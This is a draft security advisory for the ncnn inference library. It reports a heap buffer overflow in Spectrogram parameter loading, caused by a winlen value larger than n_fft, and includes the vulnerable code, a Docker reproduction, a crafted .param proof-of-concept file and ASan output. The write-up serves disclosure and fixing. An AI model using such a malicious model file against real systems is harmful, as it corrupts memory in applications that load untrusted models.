All advisories
Draft

Heap Overflow in Spectrogram Parameter Loading

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Overflow in Spectrogram Parameter Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/spectrogram.cpp:40 in Spectrogram::load_param
Sanitizer verdict: heap-buffer-overflow

Summary

A .param file containing a Spectrogram layer whose winlen exceeds its n_fft causes a heap buffer overflow while the model is still being parsed — before any inference runs. Spectrogram::load_param() sizes the window buffer from n_fft but fills it with winlen elements, so the surplus floats are written past the allocation. Any consumer of ncnn::Net::load_param() is affected; the PoC uses ncnnoptimize, where the crash happens in main() at the load_param call.

Detail

Both n_fft (parameter id 0) and winlen (parameter id 3) come directly from the untrusted parameter file. The source contains only a comment where the relationship should be enforced — // assert winlen <= n_fft — and no code checks it. The allocation uses n_fft, every window-generation loop uses winlen:

// src/layer/spectrogram.cpp:16
    n_fft = pd.get(0, 0);
// src/layer/spectrogram.cpp:19
    winlen = pd.get(3, n_fft);
// src/layer/spectrogram.cpp:26
    // assert winlen <= n_fft
    // generate window
    window_data.create(normalized == 2 ? n_fft + 1 : n_fft);
    {
        float* p = window_data;
        for (int i = 0; i < (n_fft - winlen) / 2; i++)
        {
            *p++ = 0.f;
        }
        if (window_type == 0)
        {
            // all ones
            for (int i = 0; i < winlen; i++)
            {
                *p++ = 1.f;
            }
        }

The PoC declares n_fft=8, winlen=32, window_type=0 and normalized=0, so window_data is created with room for 8 floats — 32 bytes of payload, which ASan sees as a 100-byte region once the reference count and ncnn's fixed over-read padding are included.

The leading zero-padding loop is skipped because (n_fft - winlen) / 2 is negative, so p starts at element 0 and the all-ones loop performs 32 unbounded *p++ = 1.f stores. The 25th store is the first byte past the end of the region, which is exactly where ASan reports the 4-byte write at spectrogram.cpp:40. Larger winlen values extend the overflow arbitrarily far past the allocation.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-overflow-in-spectrogram-parameter-loading && cd ncnn-poc-heap-overflow-in-spectrogram-parameter-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC'
7767517
1 1
Spectrogram s 0 1 out 0=8 3=32
POC

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5100000000a4 at pc 0x621b57cf6920 bp 0x7ffd0fb4f9b0 sp 0x7ffd0fb4f9a0
WRITE of size 4 at 0x5100000000a4 thread T0
    #0 0x621b57cf691f in ncnn::Spectrogram::load_param(ncnn::ParamDict const&) /ncnn/src/layer/spectrogram.cpp:40
    #1 0x621b4eeb6ca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
    #2 0x621b4eeeb29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #3 0x621b4eeeb5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #4 0x621b4edfebeb in main /ncnn/tools/ncnnoptimize.cpp:2788
    #5 0x7bf05c9c71c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7bf05c9c728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x621b4ed7e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x5100000000a4 is located 0 bytes after 100-byte region [0x510000000040,0x5100000000a4)
allocated by thread T0 here:
    #0 0x7bf05d040f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x621b4ee4dbc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x621b4ee4dbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x621b57cf675d in ncnn::Spectrogram::load_param(ncnn::ParamDict const&) /ncnn/src/layer/spectrogram.cpp:28
    #4 0x621b4eeb6ca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
    #5 0x621b4eeeb29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #6 0x621b4eeeb5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #7 0x621b4edfebeb in main /ncnn/tools/ncnnoptimize.cpp:2788
    #8 0x7bf05c9c71c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7bf05c9c728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x621b4ed7e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/spectrogram.cpp:40 in ncnn::Spectrogram::load_param(ncnn::ParamDict const&)

Credit

Zheng Yu @ DepthFirst